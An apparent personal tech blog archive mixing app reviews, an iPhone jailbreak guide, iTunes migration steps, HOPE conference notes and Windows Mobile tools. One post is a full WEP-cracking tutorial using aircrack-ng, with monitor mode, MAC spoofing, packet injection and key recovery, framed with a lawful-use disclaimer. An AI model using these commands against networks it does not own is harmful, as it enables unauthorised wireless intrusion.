SHODAN for Penetration Testers (The Next Hope) from theprez98 on Vimeo.

So go ahead and download my freshly made 56k Dialup Modem Handshake Ringtone for your iPhone. Once you’ve downloaded the ringtone simply double click and it will be imported into iTunes as a ringtone. Enjoy!

UPDATE: as requested in the comments below, here is a 56k Modem Ringtone in .mp3 format for Android users as well. Go nuts.

I tried to find a Google Calendar format of the schedule for this year’s talks. However I was unable to find such a format. I’ve painstakingly created the following calendar based on my interests and talks that I would like to attend. This is not a complete schedule of the conference. I’m too lazy to turn the whole schedule in to a Google Calendar, however I may do so before the actual conference… we shall see. Use as you will if you wish.

You can view the full schedule by visiting: The Next Hope schedule

The proper procedure for your iPhone 3G is basically this:  !!!ONLY DO THIS ON iPhone 3G!!!! I am not responsible if you fuck up your phone! Use at your own risk and don’t attempt if you are a clueless moron.

-Restore to the official iOS4 firmware that iTunes downloaded today, be sure to click SHIFT+Restore from within itunes

-This will take about 15-20 minutes as the firmware is installed to your iPhone 3G

-Once the 4.0 Firmware has been restored, before you restore your iPhone settings from backups, launch redsn0w

-From within redsn0w choose the CURRENT iOS4 FINAL release firmware you just installed the file name should be iPhone1,2_4.0_8A293_Restore.ipsw

-redsn0w will then churn away at the firmware and do some validation, once it’s been validated click next

-You’ll then be prompted to turn off your iPhone.  Make sure the iPhone is plugged into the computer before you power the device down.  Hold the power button down until the power slider gives you the option to shut the phone down.

-Get ready, after the next step you’ll have to follow the instructions on the redsn0w screen FAST. Once the device is plugged into the computer and powered off, click next

-Follow the on screen instructions in redsn0w.  You will have to hold the power button for 2 seconds, then both buttons for 10 seconds, then release the power button and hold only the home button for another 30 seconds or so.

-If you’ve followed the instructions correctly, redsn0w will show a progress bar.  At that point it is safe to release the home button.

-Allow the process to continue and complete without pressing anything or disconnecting anything

-After a few minutes you’ll see the PWNAPPLE logo and “Flashing NOR” on your device…this is a good thing!  Then installing Bundles…

-Then the device will reboot, and if you’ve chosen verbose startup in redsn0w you’ll see a linux-like boot sequence

-Congratz! You’ve now Jailbroken iOS4 on your iPhone 3G!  Pretty easy huh?

-Your Cydia app icon will be a white icon, but run it once and allow it to pull down sources/updates and it should go to the normal Cydia app icon.

-You can now sync with iTunes and restore from your previous backups

Jailbreak iOS 4 for iPhone 3G Screenshots

That’s about it!  I hope that this helps some folks who are looking at Jailbreaking their iPhone 3G with iOS4.  Tons of thanks to the iPhone Dev Team for all their great work and efforts, and a big “fuck you” to all the people who bitch and moan about the pace of their work. Got a problem? Do it better yourself then.

Feel free to discuss in the comments below!

LogMeIn Ignition – $29.99

The LogMeIn Ignition App gives you access to your Mac and Windows computers via a remote desktop-like interface.  Even though this App is a bit pricey, it’s well worth it.  I’ve been using LogMeIn for years and it’s never failed to save my ass in an emergency.

Pocket Informant – $12.99

Pocket Informant for iPhone is an advanced business-class calendaring App.  It has the ability to sync with multiple Google Calendars and display free/busy time in an easy to view way.  Hands down the best mobile calendaring App.  I’ve been using Pocket Informant since the Windows Mobile days.

MyWi -$9.99 (for Jailbroken iPhone)

MyWi allows you to tether your iPhone to your laptop computer to use the 3G connection from your phone to access the internet.  Another awesome feature is that MyWi will also allow you to create your own mobile hotspot on your phone and share the 3G connection wirelessly to several computers.  If you were unfortunate enough to get on one of AT&T’s new limited 2GB/mo data plans, I suggest you stay away… far away.

Shozu – $5.99

Shozu allows you to upload photos and post status updates to dozens of social networks, blogs, and FTP sites.  You can post photos with geotags to Flickr, update your status and post photos to Facebook, read your Twitter stream and post updates to multiple accounts and much more.  I can simultaneously upload a photo to Flickr, Picasa, Facebook and my private FTP in one upload.

Meebo – Free

Meebo is the best IM web client around.  If you’ve never tried Meebo on the web, I highly suggest you do.   Meebo for the iPhone adds push IM notifications, so you can stay signed into all of your IM networks while on the move.  It functions much better than any of the other paid iPhone IM Apps.  It’s smart enough to push IMs to your phone when not logged in via the web, and then will switch to web delivery when you log into the web site.  Meebo supports multi-protocol IM’ing including all of the major players with the exception of Skype.

OrbLive – $9.99

Orb is truly a Slingbox killer and worth every penny of the $9.99 App price.  With Orb installed on your PC or Mac at home you can stream all of your videos, mp3s and photos to your iPhone.  If you have a TV Tuner in that PC you can stream live TV broadcasts to your iPhone as well.  It’s an amazing App, and even if you don’t want to use it on your iPhone the main Orb server is free and all of your media is accessible via your web browser.

Qik Live – Free

Using Qik you can record and stream live video from your iPhone to Qik.com.  Once you’ve shot the video you can share it with other social networks including one click uploading to Youtube.

Air Mouse Pro -$1.99

Air Mouse allows acts as a wireless keyboard and mouse for your computer.  I use Air Mouse Pro to control my Media Center PC / Home Theater PC.

aLight – $.99

I know there are a million flashlight Apps for the iPhone.  I happen to like this one, and for how much I use it, I find that it’s worth the $.99.

LockInfo – $4.99 after 14-day Free Trial (for Jailbroken iPhone)

LockInfo is a lockscreen heads-up-display.  It shows you all if your important information right on the lock screen including Emails, Calendar, Weather, Missed Calls, SMS, Notifications, Twitter stream and more.  I am really dreading the iPhone 4 not being jailbroken and not having this functionality.

Universal Search – $2.99 (For Jailbroken iPhone)

Universal Search is a plugin for the iPhone Spotlight search feature.  Instead of just being able to search the local data on your phone, with Universal Search you can search over 20 different websites from your home screen.

iNet – $4.99

Every IT guru with an iPhone needs this App.  This App give you the ability to perform a network discovery scan, ping hosts on your network, browse Bonjour hosts, portscan, get detailed device info, wake on lan, sleep on lan (macs only), the ability to email scan results and much more.

Other notable Apps:

I’ll list a few other Apps that I use on a regular basis.  Some of these will be more common favorites that everybody already may know about, others may not.

• Pandora
• Public Radio Player
• Official Twitter App
• iTransNYC
• GV Mobile
• At Bat 2010
• Lastpass
• If Found +
• IRChon
• SHOUTcast
• Kindle
• Yelp

Simply dial: *639# on your iPhone handset. You will receive a message from AT&T about your ability to upgrade or not. This is the only place I got the answer I wanted… logging into my account at attwireless.com did not tell me if I could indeed upgrade or not. Hopefully once the iPhone 4 pre-release ordering begins on June 14th, I’ll still be able to order the 16GB iPhone 4 at $199. Damn, I hope so.

Overall this process is relatively simple. I would highly suggest having an external USB Hard Drive to perform the transfer with. If you do not have an external USB Hard Drive, you can certainly transfer the files over the network if you are capable of doing such.

First you will need to backup/copy the following folders from your XP computer to your external hard drive:

a. C:\Documents and Settings\username\Application Data\Apple Computer\iTunes

b. C:\Documents and Settings\username\Local Settings\Application Data\Apple Computer\iTunes

c. C:\Documents and Settings\username\My Documents\My Music\iTunes

Once you have copied these folders from your XP machine to your external drive, connect the drive to your Windows 7 system. Be sure to have iTunes installed on your Windows 7 system.

Copy the folders from above, to the following directories on your Windows 7 computer:

a. Copy the folder in a. above and paste to C:\Users\username\AppData\Roaming\Apple Computer\iTunes

b. Copy the folder in b. above and paste to C:\Users\username\AppData\Local\Apple Computer\iTunes

c. Copy the folder in c. above and paste to C:\Users\username\Music\iTunes

Once you’ve completed the above steps, launch iTunes on your Windows 7 computer and make sure that your Library and other settings are intact. If everything looks good, you can then connect your iPod or iPhone to sync to your new Windows 7 system.

Good luck!

Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 1966080 bytes) in /home/user/public_html/wp-includes/class-simplepie.php on line 5353

I was able to solve this error by editing the wp-config.php file and adding the following line:

define('WP_MEMORY_LIMIT', '64M');

What this effectively does is increase the amount of memory that WordPress can use on your web server. You can alternately modify the php.ini file to increase the memory limit, but many web hosts do not allow users to change these parameters. I hope this tip helps people having the same or similar errors on their WordPress 2.9.2 sites.

Spiceworks, my favorite tool for managing IT networks, has released a new version. Spiceworks scans your entire network and audits the devices in you infrastructure. Not only does Spiceworks create a comprehensive IT inventory, but it also monitors the health of vital systems. It can alert you when certain conditions are met, errors are found, systems run out of hard disk space, printer ink is low, and much more.

Another cool feature is to have Spiceworks scan multiple sites, and report back to a central collector. This is great for me, as the company I work for, is an outsourced IT Helpdesk for several medium sized businesses. We’ve deployed Spiceworks at all of our clients with more than 10 PCs. This allows our business to be proactive in our approach to IT instead of reactive.

Don’t even get me started on how good Spiceworks has been for License Management.

Spiceworks 4.6 brings a host of new features include:

• View and Kill Processes Remotely
• Ability to discover virtualized servers on VMware (vSphere & ESX/ESXi), showing all the virtual machine data and configuration details
• Better Helpdesk ticket management
• Network mapping improvements
• See network alerts and notifications in your Spiceworks Toolbar
• And more…

If you have never tried Spiceworks, you should. It is free, and after you use it, you will be converted. Oh yeah, did I mention it’s FREE (As in BEER)? I used to work for a software company that developed one of the premier Enterprise IT Discovery platforms, and believe me, Spiceworks can do a lot more than even some multimillion dollar Enterprise platforms. That was always the “dirty little secret”. Anyways, check it out, you’ll love it.

Some of you may not know, but I drink a lot of coffee. And when I say a lot, I mean like around 100 fl oz per day. I’m also a bit of a coffee-snob, meaning that I won’t drink any old swill you get at Dunkin’ Doughnuts (umm yuck!). So even a large (venti) black coffee at Starbucks costs over $2, and a couple coffees per day (even with free refills) adds up fast.

The recession and a new job have forced me to re-work my budget. So I decided to make coffee at work, but I’m the only one in the office who drinks coffee. So if I were to brew a whole pot, it would go to waste, and I’d be spending about $14/week on beans. So I decided to get the Keurig B60 Special Edition Gourmet Single-Cup Home-Brewing System for the office.

I’m not going to use the K-Cups that most people have to buy for the Keurig. Instead, I’m going to grind my own coffee and use the My K-Cup Reusable Coffee Filter. This will allow me to only use 1-2 lbs of coffee per month at work. This will actually save me somewhere between $50-70 per month on my coffee expenses.

Now for the review of the machine. I’ve been using it for almost a week at this point. Overall I am pleased with the quality of coffee it brews. The trial K-Cups that came with the brewer were pretty bad, not anywhere near up to my standards. However using my own coffee with the reusable filter makes a pretty good cup of java. You need to grind the coffee about as fine as you can (think espresso grind) in order to get good extraction and a dark cup. Be sure to tamp the grounds down lightly into the filter too. The coffee it brews is akin to a French Press, this is because the reusable filter is metal, and not paper. This lets all the flavorful coffee oils flow into your cup. Great for taste, but can do a number on your stomach, so be careful.

As for care and maintenance of the machine, it’s pretty easy. The only major pain is cleaning the reusable filter, but for the money savings, I don’t mind it. All in all I would suggest this machine to anyone who wants fresh coffee often, where brewing an entire pot isn’t economical. So work out the math, and if it makes cents (har har), get one!

$ defaults write com.apple.dock no-bouncing -bool TRUE
$ killall Dock

This will permanently disable the jumping and bouncing icons in the dock bar. To re-enable the bouncing, change the above command’s ‘True’ argument to ‘False’

Have fun with that.

I don’t usually shill for companies, but when a product wins my affection, they deserve a shout-out. This is by far the BEST iPhone case I’ve seen and used. It has saved my phones from many tumbles. It’s especially important to be able to protect your iPhone from a drop, because you can’t get insurance on an iPhone through AT&T.

The Seidio Innocase II has a textured rubber like feel in your hand, but is made of hard plastic. This allows for some grip when holding the phone, so it doesn’t slip out of your hand. The inside of the case is lined with a velour-like felt, which protects the iPhone from scratches.

In addition to the phone protector, if you are like me and love a good holster, you’ll love this. The holster is made of heavy duty plastic, and has sturdy double springs to hold the phone. It allows for quick one-handed release and insertion. The iPhone faces inward to protect the screen from any damage. The holster is also lined with the same velour-like felt which protects the screen from any scratches.

I’ve been using Seido phone protectors for my last 2 phones, and love them. They are worth every penny to protect your phones. Check it out and get one, you won’t be disappointed!

Tiny Twitter – Love twitter and love tweeting from your mobile device? But don’t want to get dinged for updates and double dinged for friend updates continually arriving via SMS? Get the brand new Tiny Twitter software for your windows mobile phone.

Twobile - Twobile (pronounced Twoh-bul, a mixture of the words “Twitter” and “Mobile”) is a new Twitter client for users of Windows Mobile Pocket PCs. Initially a personal project designed to help access various services provided by Twitter, the project began in mid 2007 and had remained in prototype status for nearly a year. In early 2008, it was decided that since there was a lack of sufficient Windows Mobile Twitter clients that addressed nearly all the services that Twitter provided, the project was moved from a prototype to a publicly available beta.

With the rise of Twitter users and the increase in the adoption of Windows Mobile devices around the world, the need for a client that allows those Windows Mobile users to utilize as many of the features of Twitter as possible without needing to be at a desktop computer increased as well. And as the rates for mobile Internet access and the surcharges incurred by mobile providers for SMS messages increased, the need for a full-featured, yet simple-to-use, client presented itself as a need. Thus, Twobile was born! And even though Twitter provides a web-based interface for mobile devices, its functionality was not as robust as those found on the desktop-version of the web interface.

Twitula – is new and free twitter client for Windows Mobile pocket pc devices.

ceTwit - Pocket PC twitter client with Twitpic support for cross posting images.

TwitToday – Today screen twitter plugin to easily update your twitter status.

When I first tried to install XP Professional on the EEE PC, I encountered a bluescreen during install.  This is because the EEE PC uses a SATA drive, and the XP install discs do not include the SATA drivers.  In order to install XP Professional we need to build a custom install disc that includes the SATA drivers.  This is not as hard as it sounds, and I will go into detail below:

Requirements:

• EEE PC 1000H
• External CD Rom
• Copy of Windows XP Professional install disc
• Another PC running XP/Vista w/ CD Burner, to build custom XP Install Disc
• DriverPack for Mass Storage Devices ( available for download @ http://driverpacks.net/DriverPacks/DriverPack.php?pag=m )
• nLite Software ( available for download @ http://www.nliteos.com/download.html )

First, insert your XP install cd into the cd-rom of the computer you will be using to build and burn the custom install disc.  At this point, be sure that you’ve installed nLite on this PC and have downloaded and extracted the proper Driverpack for Mass Storage Devices. Also be sure to have about 500mb of free space on your hard drive to copy the install files to.

Run nLite.

Click Next.  On the next screen choose the cd-rom where you have your XP installation discs.

You will then be prompted where you would like to save the files for modification. Click OK.

Just pick any empty folder (or create a new folder) to serve as a temporary folder.  Click OK.

nLite will then copy the files from the XP Pro installation disc to your hard drive.  Grab a snack while it does it’s thing.

Once the files have finished copying, you will see a summary screen with details about the operation just performed.  You can click Next on this screen.

The following screen is where we will add any additional drivers to the install.  I’ve chosen to only add the mass storage drivers to this section for brevity, but feel free to add other driverpacks or driver installs for your EEE PC.  I have not tested adding other drivers, but it should work.  (I just decided to load the drivers in XP after the initial install) To add drivers, click import.

To add the Mass Storage Driverpack, navigate to the folder where you extracted the pack and locate the .ini file.  Click Open.

Once you have all of your drivers loaded, you can now click Next.

From this next screen you can choose various customizations to your install.  You can include the cd key via the unattended option.  I’ve decided not to go into too much detail here, feel free to play around as you like, or see additional resources for nLite installs at the end of this article.  Under the “create” heading, click Bootable ISO.  This will prepare us for burning the custom install to disc.  If you have not done so, remote the XP Install CD and insert a blank CD for burning.  Click Next.

Now we will prepare to burn the custom install to disc.  Choose “Direct Burn” under Mode.  Choose your cdrw burning device.  You can also label the install if you’d like (not important).  Once you have all the information selected correctly, you can click Burn.

And we are now off.  nLite will burn the custom XP Pro installation to  CD.

Once it is finished, you are basically done!  I told you it would be simple.

Now that you have your custom XP Pro install with Mass Storage drivers, all that is left is to connect the external CD rom to your EEE PC and boot!  You may have to go into the BIOS and choose to boot off the exteral device.  Provided you did everything correctly, XP Pro will now install.  Be sure that you have downloaded the XP drivers and software for your EEE PC from the Asus website.

Additional Resources:

• http://www.nliteos.com/
• EEE User Forums

No, what really gets my goat is these jackasses with their huge plugs for their computers.  You know, the square adapter that takes up 2 vertical outlet spaces (when plugged into the top outlet of a 2 outlet jack).   Whenever I’ve asked one of these drones if I could possibly plug their bulky adapter one plug lower, so I can fit into the jack, they roll their eyes or act like I’m causing them some sort of pain.  I even carry a 3 outlet extender in my bag, so if there aren’t enough outlets other people can plug in.  Mac users act like its their birth-right to take up all of the outlets in a coffee shop.  Why would you not think about someone else by taking up the entire bank of outlets in an already overcrowded coffee shop?  I don’t get it.  Power outlet space is already at a premium at every single coffee shop, what give’s Mac users the right to monopolize an entire bank of outlets?  I think this cuts to the heart of the issue, they have no right, but they think they are entitled because they belong to the cult of Apple.  Fuck em, and their too big plugs and too short power cords.

Standard Disclaimer: This article is provided for informational purposes only. thew0rd.com and its affiliates accept no liability for providing this information. Please only use to test configurations on your own equipment. Accessing WIFI networks that do not belong to you is ILLEGAL.

This article will explan how to crack 64bit and 128bit WEP on many WIFI access points and routers using Backtrack, a live linux distribution. Your mileage may very. The basic theory is that we want to connect to an Access Point using WEP Encryption, but we do not know the key. We will attack the wifi router, making it generate packets for our cracking effort, finally cracking the WEP key. I have tested this technique on an IBM Thinkpad x60 and Acer 5672 and the WIFI Chipset in those machines work for sure.

Requirements:

• Backtrack 3 on CD or USB
• Computer with compatible 802.11 wireless card
• Wireless Access point or WIFI Router using WEP encryption

I will assume that you have downloaded and booted into Backtrack 3. If you haven’t figured that part out, you probably shouldn’t be trying to crack WEP keys. Once Backtrack is loaded, open a shell and do the following:

Preparing The WIFI Card

First we must enable “Monitor Mode” on the wifi card. If using the Intel® PRO/Wireless 3945ABG chipset issue the following commands:

modprobe -r iwl3945

modprobe ipwraw
The above commands will enable monitor mode on the wireless chipset in your computer. Next we must stop your WIFI card:

iwconfig
Take note of your wireless adapter’s interface name. Then stop the adapter by issuing:

airmon-ng stop [device]
Then:

ifconfig down [interface]
Now we must change the MAC address of the adapter:

macchanger --mac 00:11:22:33:44:66 [device]
Its now time to start the card in monitor mode by doing:

airmon-ng start [device]

Attacking The Target

It is now time to locate a suitable WEP enabled network to work with:

airodump-ng [device]

Be sure to note the MAC address (BSSID), channel (CH) and name (ESSID) of the target network. Now we must start collecting data from the WIFI access point for the attack:

airodump-ng -c [channel] -w [network.out] --bssid [bssid] [device]


The above command will output data collected to the file: network.out. This file will be fed into the WEP Crack program when we are ready to crack the WEP key.

Open another shell and leave the previous command running. Now we need to generate some fake packets to the access point to speed up the data output. Test the access point by issuing the following command:

aireplay-ng -1 0 -a [bssid] -h 00:11:22:33:44:66 -e [essid] [device]

If this command is successful we will now generate many packets on the target network so that we can crack the KEY. Type:

airplay-ng -3 -b [bssid] -h 00:11:22:33:44:66 [device]

This will force the access point to send out a bunch of packets which we can then use to crack the WEP key. Check your aerodump-ng shell and you should see the “data” section filling up with packets.

After about 10,000-20,000 you can begin cracking the WEP key. If there are no other hosts on the target access point generating packets, you can try:

aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b [bssid] -h 00:11:22:33:44:66 [device]

Once you have enough packets, you begin the crack:

aircrack-ng -n 128 -b [bssid] [filename]-01.cap

The “-n 128″ signifies a 128-bit WEP key. If cracking fails, try a 64-bit key by changing the value of N to 64.

Once the crack is successful you will be left with the KEY! Remove the : from the output and there is your key. So there you have it.

You can use these techniques to demonstrate to others why using WEP is a bad idea. I suggest you use WPA2 encryption on your wireless networks. Goodluck!

Last week I attended the “computer security” conference HOPE (Hackers on Planet Earth), held every two years in NYC. The title of this year’s event was “The Last Hope”, but it may not be the last. Unfortunately I had to work Friday and was not able to get to the convention until about 4pm, luckily it was being held only 2 avenues away from my workplace. I had never attended HOPE in the past, although I have gone to Las Vegas for DEFCON several times in the past 10 years. HOPE is organized by the crew over at 2600: The Hacker Quarterly.

All told, the event was interesting, and I was glad to attend. However, maybe I’m just getting old but “the scene” just doesn’t hold my attention as it once did. Oh well. The convention took place at the Hotel Pennsylvania, which was scheduled for demolition soon, hence “The Last HOPE”. However by the end of the convention it was announced that plans to demolish the hotel have been put on hold due to the bad economy, so HOPE will take place again at it’s usual spot in 2010.

Some of the sessions I attended were great, others not so great. Amongst the good ones were:

• Bagcam – How Did TSA and/or the Airlines Manage to Do That to Your Luggage? By: algormor
• A Hacker’s View of the Freedom of Information Act (FOIA) By: Phil Lapsley
• Hacking the Price of Food: An Urban Farming Renaissance By: Bicyclemark
• Methods of Copying High Security Keys By: Barry Wels and Han Fey
• One Last Time: The Hack/Phreak History Primer By: Jason Scott

Looking back at the list of talks, I wish I’d attended more/different ones. Guess I am just getting old. Oh well, there’s always 2010. I spent a good amount of time in the Lockpick Village playing around and picking a couple locks, its always fun to open locks you’ve never touched before. I picked up a copy of Emmanuel Goldstein‘s new book: The Best of 2600: A Hacker Odyssey, this huge tome was well worth the money. It’s jam packed with stories from the past 24 years of 2600 history. I should have gotten it autographed when I saw Emmanuel at the conference, but he was busy. Again, oh well.

Even though I am kind of burned out after being in the scene for the past 15 years or so, I will probably end up attending again in 2010. It’s much easier that traveling to Las Vegas for DEFCON since I now reside in NYC.

Check out Photos from TheLastHOPE over at flickr. Search twitter for #thelasthope for people liveblogging the event. Finally, check out the video below. It was created by the folks at MAKE Magazine, who were in attendance at the conference as vendors. Overall I think the video captured the spirit of the event, good work MAKE folks!

Until 2010, peace.

I’ve made the last minute decision to attend HOPE (Hackers on Planet Earth) in NYC this weekend. I will post some photos and information about the convention sometime soon. To follow the action you can search twitter for #thelastHOPE . If you are at the event, you can track attendees via the RFID tags embedded in the badges. More to follow…

Unfortunately I was too late to get an RFID badge for The Last HOPE. Oh Well.

Buzz is growing on forums and on some blogs about the new update for the Verizon Samsung SCH-i760. This update for the i760 will upgrade your phone’s operating system to Windows Mobile 6.1. I have been burned as an early adopter many times before, especially with just-released phone updates. But, I’m a sucker, so I installed the update anyways today.

This new update includes the following features for your SCH-i760:

• SDHC Support for large microSD cards
• Zoom feature for PocketIE
• Threaded SMS
• Several Bluetooth improvements (updated BT DUN profile, improved scanning)
• Support for YouTube Videos
• Fixed some memory leak issues
• Enhanced Task Manager
• Includes Remote Desktop client
• Addition of Microsoft OneNote Mobile to Office Suite
• Many other bug fixes and Windows Mobile 6.1 features

Now, this update was not without incident. I had various parts of the install fail, but in the end the upgrade took. Unfortunately my backups were no good. When you backup with a program like SPB Backup on an older ROM, it causes issues when you restore. I had my contacts and bookmarks sync’d up with DashWire (and ActiveSync) so I didn’t loose any of the really important stuff. I will however have to re-install all of my applications and tweaks, but in the end its not that bad.

My first impressions overall are good. The device seems to be running slightly faster, and so far some of the tiny annoyances I had appear to have been fixed. Before you upgrade please be sure to check out this thread on PDAPhoneHome Forums regarding issues people are having. Also do not attempt to upgrade your Samsung SCH-i760 unless you are a fairly advanced user, and you can afford to loose all of your data, as installing the device will wipe your data and reset the device’s software to a factory-like state.

Goodluck and enjoy the new features!

SCH-i760 6.1 Upgrade for XP Download

SCH-i760 6.1 Upgrade for Vista Download

6.1 upgrade for SCH-i760 Instructions

• Web interface to “track” option. This would make it much easier to manage sms notifications to my phone.
• Increased API access limit. 20 per hour is way too low. I would probably be satisfied with 30-60 per hour. 60 would be best.
• Ability to Mass-block people from the web interface.
• Historical Direct messages sent or threading of direct message conversations.
• Shorter URL service. TinyURL is great, but I’ve seen shorter.

I do not think the above requests would alter the way Twitter functions as a whole, but would enhance its overall functionality. What features or enhancements would you like to see added added to Twitter?

For this article I want to focus on “Advanced Twitter Techniques and Tools”. Once you’ve become familiar and comfortable with using Twitter, you may want to extend the functionality and get more out of it.

Summize – Summize is quite possibly one of the most useful Twitter application. So useful in fact, Techcrunch is reporting that Twitter may buy Summize. Summize is a search engine for Twitter. Using Summize makes it easier than ever to follow the various conversations taking place. You can even search for any replies you may have missed.

HashTags – HashTags as allow for “group conversations”. Instead of a one way @user message, you can send it out to a group of people by using #group. People then track the hashtag and this allows groups of people to chat about whatever topic is important to them. Think of hashtags as an IRC channel (thats where the idea comes from).

TwitterFeed – This service allows you to post an RSS feed to Twitter. I use it to post my latest photos from my cell phone (uploaded to Vox.com) to Twitter. TwitterFeed gives me the “missing link” I had been looking for, as I can now deliver a “payload” to twitter with more than just 140 characters of text.

Twitpic – A service that allows you to post photos to Twitter. You can use the website directly or use a Twitter Client that has built in support for Twitpic. Better for when you are actually in front of your computer and want to post a photo.

TwitterVision – Not quite that useful, but fun to watch. TwitterVision is a mashup of Twitter and Google Maps that plots tweets by location. Bonus geek points: set Twittervision as your desktop wallpaper with active desktop.

TwitterHolic – Some people like to follow the buzz. TwitterHolic displays stats about who is making the conversation on Twitter. Consider the top slots as the movers and shakers of the Twitterverse.

Twitabit – Sometimes Twitter goes down. If that happens and you really need to get that tweet out, you can post it on Twitabit and when Twitter comes back up, your tweet will go out. This service is handy for those that are truly addicted to Twitter.

Twitscoop – Twitscoop generates a tag cloud showing what the hot topics on twitter are at that moment. Great site for finding out what everyone is talking about and getting the latest news.

Twitturly – Another web service for finding out what is popular on Twitter, but this service will search all of the URL’s being posted and tell you what pages are being linked. Another tool for getting the latest news and buzz.

• Download Firefox 3 Portable for USB

DashWire – This little bit of software combines the best of both worlds… Mobile Gadgets and the Web. This site will allow you to backup the data on your phone to a website where you can manage your data and use as storage if you ever have to do a hard reset of your device. Currently DashWire allows you to backup your contacts, photos, videos, bookmarks, call history, text messages, speed dials and ringtones. But that’s not all, you can even send text messages from the web on your “dashboard” which will then go through your phone. Think of it as a way to control your phone from a website, cool stuff. DashWire also lets you share your photos and videos quickly and easily. From your web dashboard you can share your photos by sending an SMS or Emai, or post your photos directly to Twitter, Facebook, Flickr, FriendFeed and Beebo. I must say that DashWire could possibly be the next generation “killer app” for Windows Mobile based phones. Check it out. NOTE: Owners of the Samsung SCH-i760 MUST install Microsoft .net Compact Framework v3.5 in order to get DashWire to function properly. If you have issues with getting it to run on any other device, please try installing .net 3.5.

Vox Mobile – Vox is a Blog network from SixApart. They have a hidden gem (I say “hidden” because its hard to find on their site) of a Windows Mobile application that allows you to instantly upload photos from your phone to a personalized website (See my photoblog for example). This program is great for taking snapshots while on-the-go. For geek bonus points you can use TwitterFeed to post links to the photos on Twitter

MyMobiler – This awesome application allows you to remote control your phone from your computer when it is connected via ActiveSync. Makes it much easier to tweak settings and install programs on Windows Mobile. I also use it at my desk at work to change streaming audio stations since I use my phone as a radio.

CometNow – CometNow is a cool application that will stream live video to the internet from your phone. It will record the video on their site, and also let you post those videos to YouTube later. I don’t use the application that much, but from my testing it was pretty cool. I’m sure there are many creative people out there who can come up with some really great ideas using this tool. Only thing to remember: Use IE when using their website, unfortunately it works best with IE.

GSPlayer – I use GSPlayer as my default mp3 / shoutcast / streaming audio player on Windows Mobile. Its clean, quick, and easy to use.

TCPMP w/ Skunkworks FlashVideoBundle - Combine the best video player with the FlashVideoBundle “hack” and you can now watch Youtube / Google Video and other flash video sites on your Windows Mobile phone.

PocketIRC – If you still like to rock it oldschool on IRC, then PocketIRC is your IRC client of choice on the Windows Mobile platform. Trust me, I’ve tried them all, this one is the best.

Palringo – There are many debates about what the best Instant Messaging application for the WM platform is, I happen to think the best free IM program is Palringo. With Palringo you can connect up to multiple networks and it runs well in the background. There are lots of other features but when it comes to IM, Palringo wins my vote.

Twobile – Twitter client for Windows Mobile. This is the best Twitter client I’ve found. It has the option to run in text only mode (no images) for faster Tweeting. Also more options to interact with Twitter than other clients I’ve tested for the WM platform. Can run in the background in the systray with a small memory footprint.

FriendMobilizer – A Facebook application for Windows Mobile. Allows you to update your status and get the latest updates from your friends. Will check Facebook every 30 minutes for new notifications.

Kevtris – Sometimes you just need to take a break, thats where Kevtris comes in. Kevtris is a Tetris clone with pretty good graphics and is about as addictive as a game gets. You know you like it.

MagicButton – MagicButton is a must have windows mobile task manager. It make the task bar behave like a windows desktop taskbar. You can switch applications and close them via icons near the start button. Great for memory management and keeping programs alive that would normally close automatically.

PocketToolman – Think of this application as the TweakUI of windows mobile, giving you access to settings that you normally don’t have control over. Excellent program for tweaking various functions of your phone. This application is for Windows Mobile 6 Professional only.

Advanced Config – Another tool to give you control over more advanced options in Windows Mobile.

PMClean – Tool for cleaning up your notification queue and temporary files. Use this program if your notifications are screwed up, it will clear the queue of old items and make your alarms work again!

Google Search Today Plugin - Search Google with this plugin for your today screen. On your phone visit http://www.google.com/m/products/

VTap – the vTap application allows you to watch YouTube videos directly on your Windows Mobile Phone. Also allows searching on wikipedia and the ability to set up custom video feeds. Worth checking out if you like to consume video on your phone.

TV Guide – Never wonder when your favorite show is on.  Handmark and TV Guide got together and released a mobile version of TV Guide.  Its actually a pretty slick program, Handmark does good work.

Pocket Express – Another freebie by Handmark.  This application acts as a portal to news, weather, stocks and more.  The application itself kind of sucks, but it comes with a Today screen plug-in that lists: News Headlines, Stocks, and Weather.

S2U2 – A program to clone the iPhone slide-to-unlock program.  Check out this link for S2U2 Themes.

iFonz – Awesome application that will make your Windows Mobile device look like an iPhone.

There are tons of other Free Windows Mobile Programs out there, but I’ve chosen to include some of the lesser known and VERY handy ones. Don’t forget the favorites like Google Maps, Microsoft Live Search, Skype and more. Have fun!

And now, in no particular order:

Spiceworks – Spiceworks has become an invaluable tool in my IT consulting arsenal. Spiceworks allows you to scan an entire network and get an inventory of all assets (software and hardware) in a particular environment. Great tool for auditing your infrastructure.

Launchy – Launchy is a free windows utility designed to help you forget about your start menu, the icons on your desktop, and even your file manager. Launchy indexes the programs in your start menu and can launch your documents, project files, folders, and bookmarks with just a few keystrokes. A true time saver.

FileZilla – Filezilla is the best FTP/SFTP/SCP client I’ve found. Works great and has a ton of features. If you are a web designer or a network tech and interact with FTP on a regular basis, you should be using this tool.

Putty – I use this little application about as much as my web browser. If you need to log into linux systems or networking gear, putty will do what you need. Putty is hands down the best SSH / Telnet / Serial / Rlogin client for windows.

Firefox – You should already be using Forefox. If you aren’t you probably shouldn’t be on the internet.

CDBurnerXP – CDBurnerXP is a free application to burn CDs and DVDs, including Blu-Ray and HD-DVDs. Also allows you to burn and create ISO images. Better than Nero.

ImgBurn – Another CD / DVD burning application.

TrueCrypt – If you do not currently encrypt your important data, you are at risk. Everyone should utilize encryption for their sensitive information. Encrypt your confidential documents and even your thumb drive with this handy security tool. Newest versions allow you to encrypt your entire system partition and protect your drive with pre-boot authentication. Protects your data when traveling internationally as well.

Sysmetrix – Sysmetrix is a skinnable clock and system metering application. Its purpose is to provide system metrix in a variety of interesting, useful, and cool ways. It can monitor and report on hundreds of statistics.

Yahoo Widgets – Spruce up your desktop with yahoo’s powerful widgets. Many styles and community submitted widgets to choose from. Get the most up-to-date information on your desktop.

TweakUI – Free Microsoft PowerToy gives you access to system settings that are not exposed in the Windows XP default user interface, including mouse settings, Explorer settings, taskbar settings, and more.

Virtual Desktop Manager – Another Microsoft PowerToy that allows you to manage up to four desktops from the Windows taskbar. Because you always need more desktop space.

VLC – VLC Media Player is a highly portable multimedia player for various audio and video formats as well as DVDs, VCDs, and various streaming protocols. VLC can play virtually any multimedia format I’ve tossed at it. It can also be used as a server to stream in unicast or multicast on a network.

Veoh – Veoh client allows you to download online videos as well as watch streaming TV shows from major networks such as Fox and NBC. I don’t have cable TV anymore because of applications like Veoh, Joost, Hulu, and Miro.

